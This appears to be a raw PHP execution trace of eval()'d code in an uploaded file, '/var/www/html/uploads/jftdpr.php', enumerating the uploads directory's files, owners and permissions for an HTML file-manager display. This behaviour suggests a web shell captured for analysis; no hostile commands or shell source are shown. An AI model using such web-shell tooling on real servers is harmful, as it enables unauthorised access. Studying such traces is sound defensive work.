4 101 1 0.011101 1044608
4 101 R '<font color=#FFDB5F><b>drwxrwxrwx</b></font>'
4 106 0 0.011122 1044608 filesize 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/..'
4 106 1 0.011136 1044648
4 106 R 4096
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4 107 0 0.011189 1043784 is_file 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/..'
4 107 1 0.011203 1043824
4 107 R FALSE
4 108 0 0.011217 1043784 is_link 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/..'
4 108 1 0.011233 1043832
4 108 R FALSE
4 109 0 0.011246 1043792 is_dir 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/..'
4 109 1 0.011260 1043832
4 109 R TRUE
4 110 0 0.011274 1043736 array_merge 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] ['type' => 'dir']
4 110 1 0.011300 1044176
4 110 R ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $i++
4 111 0 0.011360 1044488 fileowner 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.htaccess'
4 111 1 0.011376 1044512
4 111 R 0
4 112 0 0.011389 1044472 posix_getpwuid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 0
4 112 1 0.011414 1045272
4 112 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 113 0 0.011456 1044504 filegroup 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.htaccess'
4 113 1 0.011473 1044544
4 113 R 0
4 114 0 0.011485 1044504 posix_getgrgid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 0
4 114 1 0.011534 1045160
4 114 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 115 0 0.011571 1045024 filemtime 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/.htaccess'
4 115 1 0.011593 1045080
4 115 R 1676257094
4 116 0 0.011607 1044984 date 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 'Y-m-d H:i:s' 1676257094
4 116 1 0.011639 1045312
4 116 R '2023-02-12 21:58:14'
4 117 0 0.011656 1045296 viewPermsColor 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/.htaccess'
5 118 0 0.011671 1045296 is_readable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/.htaccess'
5 118 1 0.011704 1045336
5 118 R TRUE
5 119 0 0.011719 1045296 is_writable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/.htaccess'
5 119 1 0.011736 1045336
5 119 R FALSE
5 120 0 0.011750 1045296 fileperms 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/.htaccess'
5 120 1 0.011764 1045336
5 120 R 33188
5 121 0 0.011777 1045296 perms 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 33188
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i = '-'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= '-'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= '-'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= '-'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= '-'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= '-'
5 121 1 0.011887 1045336
5 121 R '-rw-r--r--'
4 117 1 0.011901 1045376
4 117 R '<font color=white><b>-rw-r--r--</b></font>'
4 122 0 0.011918 1045376 filesize 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/.htaccess'
4 122 1 0.011932 1045416
4 122 R 64
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']
4 123 0 0.011968 1045000 is_file 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/.htaccess'
4 123 1 0.011983 1045040
4 123 R TRUE
4 124 0 0.011996 1044944 array_merge 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root'] ['type' => 'file']
4 124 1 0.012023 1045384
4 124 R ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $i++
4 125 0 0.012083 1045696 fileowner 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'data'
4 125 1 0.012099 1045712
4 125 R 0
4 126 0 0.012112 1045672 posix_getpwuid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 0
4 126 1 0.012137 1046472
4 126 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 127 0 0.012179 1045704 filegroup 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'data'
4 127 1 0.012193 1045744
4 127 R 0
4 128 0 0.012205 1045704 posix_getgrgid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 0
4 128 1 0.012227 1046360
4 128 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 129 0 0.012268 1046224 filemtime 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/data'
4 129 1 0.012285 1046288
4 129 R 1676257094
4 130 0 0.012298 1046192 date 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 'Y-m-d H:i:s' 1676257094
4 130 1 0.012330 1046520
4 130 R '2023-02-12 21:58:14'
4 131 0 0.012347 1046504 viewPermsColor 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/data'
5 132 0 0.012399 1046504 is_readable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/data'
5 132 1 0.012417 1046544
5 132 R TRUE
5 133 0 0.012430 1046504 is_writable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/data'
5 133 1 0.012446 1046544
5 133 R TRUE
5 134 0 0.012459 1046504 fileperms 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/data'
5 134 1 0.012473 1046544
5 134 R 16895
5 135 0 0.012486 1046504 perms 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 16895
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i = 'd'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
5 135 1 0.012596 1046544
5 135 R 'drwxrwxrwx'
4 131 1 0.012610 1046584
4 131 R '<font color=#FFDB5F><b>drwxrwxrwx</b></font>'
4 136 0 0.012627 1046584 filesize 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/data'
4 136 1 0.012641 1046624
4 136 R 4096
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4 137 0 0.012678 1046208 is_file 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/data'
4 137 1 0.012692 1046248
4 137 R FALSE
4 138 0 0.012705 1046208 is_link 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/data'
4 138 1 0.012721 1046248
4 138 R FALSE
4 139 0 0.012734 1046208 is_dir 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/data'
4 139 1 0.012748 1046248
4 139 R TRUE
4 140 0 0.012762 1046152 array_merge 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] ['type' => 'dir']
4 140 1 0.012786 1046592
4 140 R ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $i++
4 141 0 0.012846 1046528 fileowner 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
4 141 1 0.012862 1046552
4 141 R 1000
4 142 0 0.012874 1046512 posix_getpwuid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 1000
4 142 1 0.012908 1047328
4 142 R ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4 143 0 0.012958 1046560 filegroup 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
4 143 1 0.012973 1046600
4 143 R 1000
4 144 0 0.012986 1046560 posix_getgrgid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 1000
4 144 1 0.013018 1047216
4 144 R ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4 145 0 0.013055 1047096 filemtime 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/jftdpr.php'
4 145 1 0.013072 1047160
4 145 R 1676257094
4 146 0 0.013085 1047056 date 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 'Y-m-d H:i:s' 1676257094
4 146 1 0.013127 1047384
4 146 R '2023-02-12 21:58:14'
4 147 0 0.013142 1047376 viewPermsColor 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/jftdpr.php'
5 148 0 0.013157 1047376 is_readable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/jftdpr.php'
5 148 1 0.013174 1047416
5 148 R TRUE
5 149 0 0.013187 1047376 is_writable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/jftdpr.php'
5 149 1 0.013203 1047416
5 149 R FALSE
5 150 0 0.013216 1047376 fileperms 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/jftdpr.php'
5 150 1 0.013230 1047416
5 150 R 33204
5 151 0 0.013243 1047376 perms 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 33204
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i = '-'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= '-'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= '-'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= '-'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= '-'
5 151 1 0.013353 1047416
5 151 R '-rw-rw-r--'
4 147 1 0.013367 1047456
4 147 R '<font color=white><b>-rw-rw-r--</b></font>'
4 152 0 0.013384 1047456 filesize 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/jftdpr.php'
4 152 1 0.013398 1047496
4 152 R 23210
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $tmp = ['name' => 'jftdpr.php', 'path' => '/var/www/html/uploads/jftdpr.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 23210, 'owner' => 'osboxes', 'group' => 'osboxes']
4 153 0 0.013434 1047080 is_file 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/jftdpr.php'
4 153 1 0.013449 1047120
4 153 R TRUE
4 154 0 0.013462 1047016 array_merge 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 ['name' => 'jftdpr.php', 'path' => '/var/www/html/uploads/jftdpr.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 23210, 'owner' => 'osboxes', 'group' => 'osboxes'] ['type' => 'file']
4 154 1 0.013486 1047456
4 154 R ['name' => 'jftdpr.php', 'path' => '/var/www/html/uploads/jftdpr.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 23210, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $files[] = ['name' => 'jftdpr.php', 'path' => '/var/www/html/uploads/jftdpr.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 23210, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $i++
4 155 0 0.013545 1047392 fileowner 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'prepend.php'
4 155 1 0.013561 1047408
4 155 R 0
4 156 0 0.013574 1047368 posix_getpwuid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 0
4 156 1 0.013598 1048168
4 156 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 157 0 0.013645 1047384 filegroup 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'prepend.php'
4 157 1 0.013660 1047424
4 157 R 0
4 158 0 0.013672 1047384 posix_getgrgid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 0
4 158 1 0.013695 1048040
4 158 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 159 0 0.013740 1047920 filemtime 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/prepend.php'
4 159 1 0.013758 1047984
4 159 R 1676257094
4 160 0 0.013772 1047880 date 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 'Y-m-d H:i:s' 1676257094
4 160 1 0.013804 1048208
4 160 R '2023-02-12 21:58:14'
4 161 0 0.013818 1048200 viewPermsColor 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/prepend.php'
5 162 0 0.013833 1048200 is_readable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/prepend.php'
5 162 1 0.013850 1048240
5 162 R TRUE
5 163 0 0.013863 1048200 is_writable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/prepend.php'
5 163 1 0.013879 1048240
5 163 R FALSE
5 164 0 0.013893 1048200 fileperms 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/prepend.php'
5 164 1 0.013907 1048240
5 164 R 33261
5 165 0 0.013920 1048200 perms 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 33261
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i = '-'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= '-'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= '-'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
5 165 1 0.014031 1048240
5 165 R '-rwxr-xr-x'
4 161 1 0.014045 1048280
4 161 R '<font color=white><b>-rwxr-xr-x</b></font>'
4 166 0 0.014062 1048280 filesize 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/prepend.php'
4 166 1 0.014076 1048320
4 166 R 57
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']
4 167 0 0.014113 1047904 is_file 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/prepend.php'
4 167 1 0.014127 1047944
4 167 R TRUE
4 168 0 0.014141 1047840 array_merge 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root'] ['type' => 'file']
4 168 1 0.014165 1048280
4 168 R ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $i++
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 GLOBALS['sort'] = [0 => 'name', 1 => 1]
4 169 0 0.014241 1048240 usort 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 [0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'jftdpr.php', 'path' => '/var/www/html/uploads/jftdpr.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 23210, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']] 'cmp'
5 170 0 0.014283 1048688 cmp 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] ['name' => 'jftdpr.php', 'path' => '/var/www/html/uploads/jftdpr.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 23210, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
6 171 0 0.014313 1048688 strtolower 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.htaccess'
6 171 1 0.014328 1048720
6 171 R '.htaccess'
6 172 0 0.014342 1048688 strtolower 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
6 172 1 0.014355 1048720
6 172 R 'jftdpr.php'
6 173 0 0.014369 1048688 strcmp 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 '.htaccess' 'jftdpr.php'
6 173 1 0.014384 1048752
6 173 R -1
5 170 1 0.014398 1048688
5 170 R -1
5 174 0 0.014411 1048688 cmp 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 ['name' => 'jftdpr.php', 'path' => '/var/www/html/uploads/jftdpr.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 23210, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'] ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
6 175 0 0.014439 1048688 strtolower 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
6 175 1 0.014452 1048720
6 175 R 'jftdpr.php'
6 176 0 0.014466 1048688 strtolower 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'prepend.php'
6 176 1 0.014480 1048720
6 176 R 'prepend.php'
6 177 0 0.014493 1048688 strcmp 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 'jftdpr.php' 'prepend.php'
6 177 1 0.014508 1048752
6 177 R -1
5 174 1 0.014521 1048688
5 174 R -1
4 169 1 0.014534 1048312
4 169 R TRUE
4 178 0 0.014548 1048264 usort 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 [0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']] 'cmp'
5 179 0 0.014577 1048712 cmp 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
6 180 0 0.014605 1048712 strtolower 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '..'
6 180 1 0.014618 1048744
6 180 R '..'
6 181 0 0.014631 1048712 strtolower 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'data'
6 181 1 0.014644 1048744
6 181 R 'data'
6 182 0 0.014657 1048712 strcmp 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 '..' 'data'
6 182 1 0.014671 1048776
6 182 R -3552051
5 179 1 0.014684 1048712
5 179 R -3552051
4 178 1 0.014698 1048336
4 178 R TRUE
